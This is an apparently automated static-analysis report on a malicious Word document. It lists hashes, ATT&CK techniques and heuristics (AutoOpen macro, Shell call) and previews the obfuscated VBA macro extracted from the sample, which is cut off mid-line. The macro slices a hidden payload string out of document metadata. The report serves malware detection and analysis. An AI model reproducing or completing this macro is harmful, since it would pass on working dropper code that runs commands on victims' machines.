Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7403075d17f9a118…

MALICIOUS

Office (OLE)

75.7 KB Created: 2017-10-13 11:18:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 3e40b4cd479c81ed01e6dc112ac59085 SHA-1: e7ea3f88606d14ed860fc73f21d25ef4c106edea SHA-256: 7403075d17f9a118ab30746c1a865a7a418080e51894cce9e390a43e5f2762b5
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Shell() call, indicating an attempt to execute an external command or program. While the exact payload is obfuscated, the presence of these elements strongly suggests the document is designed to download and execute a second-stage payload, likely for further exploitation.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9594 bytes
SHA-256: a674eb06b327d80acdaef5b9533c0b59a814c34963355bbe28cbdd5b2b003a40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub MMwjqzDvB()
YqzUmnbOZ = "" + dXsXoj + PilMzFj + DQZkHdNr + qLiVKdki + BSGsa + lTWHUG + dXICzQMT + PfzjdAIE + iwEQl + qBwnH + XpwhK + IiTVk + "coMments" + dXsXoj + PilMzFj + DQZkHdNr + qLiVKdki + BSGsa + lTWHUG + dXICzQMT + PfzjdAIE + iwEQl + qBwnH + XpwhK + IiTVk + Cavtul + RGSbw + HWrIPO + fJIHivq + jWzcUR
MCTbubcFi = Right(Left((PkWfVndSE(YqzUmnbOZ)), 6157), 72)
cJGRLF = Mid((PkWfVndSE(YqzUmnbOZ)), 10573, 108)
TzuLiE = Mid((PkWfVndSE(YqzUmnbOZ)), 8153, 75)
sTbCwJHDcb = Right(Left((PkWfVndSE(YqzUmnbOZ)), 9635), 135)
ETZcDasCGj = Right(Left((PkWfVndSE(YqzUmnbOZ)), 721), 77)
ZDokR = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5089), 77)
WplkmCPOTB = Right(Left((PkWfVndSE(YqzUmnbOZ)), 8690), 68)
jjwJAZSIEM = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3705), 21)
LbUcsUXml = Mid((PkWfVndSE(YqzUmnbOZ)), 14907, 97)
BSjnZoLYADs = Mid((PkWfVndSE(YqzUmnbOZ)), 7584, 135)
cuoKzijK = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11877), 72)
ZKhmV = Mid((PkWfVndSE(YqzUmnbOZ)), 740, 134)
QCwkvqRms = Mid((PkWfVndSE(YqzUmnbOZ)), 3997, 22)
nCiTTzzwjMm = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5541), 123)
pOQJc = Mid((PkWfVndSE(YqzUmnbOZ)), 15898, 147)
qaWnp = Mid((PkWfVndSE(YqzUmnbOZ)), 2730, 103)
hDWYHOrWkX = Mid((PkWfVndSE(YqzUmnbOZ)), 12852, 109)
kmXSSdztvj = Mid((PkWfVndSE(YqzUmnbOZ)), 11217, 111)
JASCNf = Right(Left((PkWfVndSE(YqzUmnbOZ)), 13087), 95)
HLSuJofp = Right(Left((PkWfVndSE(YqzUmnbOZ)), 12383), 120)
isDkHOS = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10699), 23)
KqSrB = Mid((PkWfVndSE(YqzUmnbOZ)), 5661, 122)
OGvoIEj = Mid((PkWfVndSE(YqzUmnbOZ)), 6274, 125)
ZUdIdzJhc = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3049), 82)
DZtEjFcjm = Mid((PkWfVndSE(YqzUmnbOZ)), 14745, 2)
QQtaZtX = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10426), 133)
LbAitpza = Mid((PkWfVndSE(YqzUmnbOZ)), 14411, 65)
kOzuLpNrF = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 5814), 25)
zquFDMOD = Mid((PkWfVndSE(YqzUmnbOZ)), 14641, 9)
ckWoQawYXj = MCTbubcFi + cJGRLF + TzuLiE + sTbCwJHDcb + ETZcDasCGj + ZDokR + WplkmCPOTB + jjwJAZSIEM + LbUcsUXml + BSjnZoLYADs + cuoKzijK + ZKhmV + QCwkvqRms + nCiTTzzwjMm + pOQJc + qaWnp + hDWYHOrWkX + kmXSSdztvj + JASCNf + HLSuJofp + isDkHOS + KqSrB + OGvoIEj + ZUdIdzJhc + DZtEjFcjm + QQtaZtX + LbAitpza + kOzuLpNrF + zquFDMOD
LwafkqAnq = Mid((PkWfVndSE(YqzUmnbOZ)), 5555, 93)
LNsKdLr = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11449), 121)
UQVffpdHs = Right(Left((PkWfVndSE(YqzUmnbOZ)), 12191), 74)
UJVFKXfAPcC = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5299), 44)
DdChm = Mid((PkWfVndSE(YqzUmnbOZ)), 14205, 101)
swUMub = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 2615), 11)
uMsvt = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11141), 12)
BsnAGfqCFRi = Mid((PkWfVndSE(YqzUmnbOZ)), 13785, 47)
CmvVzlGV = Right(Left((PkWfVndSE(YqzUmnbOZ)), 2492), 42)
KjcfFD = Mid((PkWfVndSE(YqzUmnbOZ)), 1154, 145)
sUEbKu = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 12432), 52)
jBvPvPITwH = Right(Left((PkWfVndSE(YqzUmnbOZ)), 4969), 7)
zHcdMjcR = Right(Left((PkWfVndSE(YqzUmnbOZ)), 2607), 60)
kzVJl = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10235), 146)
acAkIEEZ = Right(Left((PkWfVndSE(YqzUmnbOZ)), 1498), 1)
uaJjwm = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3250), 101)
lsbOaS = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 391), 65)
jQwtmd = Mid((PkWfVndSE(YqzUmnbOZ)), 918, 89)
AFvMCiQzYnd = ckWoQawYXj + LwafkqAnq + LNsKdLr + UQVffpdHs + UJVFKXfAPcC + DdChm + swUMub + uMsvt + BsnAGfqCFRi + CmvVzlGV + KjcfFD + sUEbKu + jBvPvPITwH + zHcdMjcR + kzVJl + acAkIEEZ + uaJjwm + lsbOaS + jQwtmd
PNITVaU = Right(Left((PkWfVndSE(YqzUm
... (truncated)

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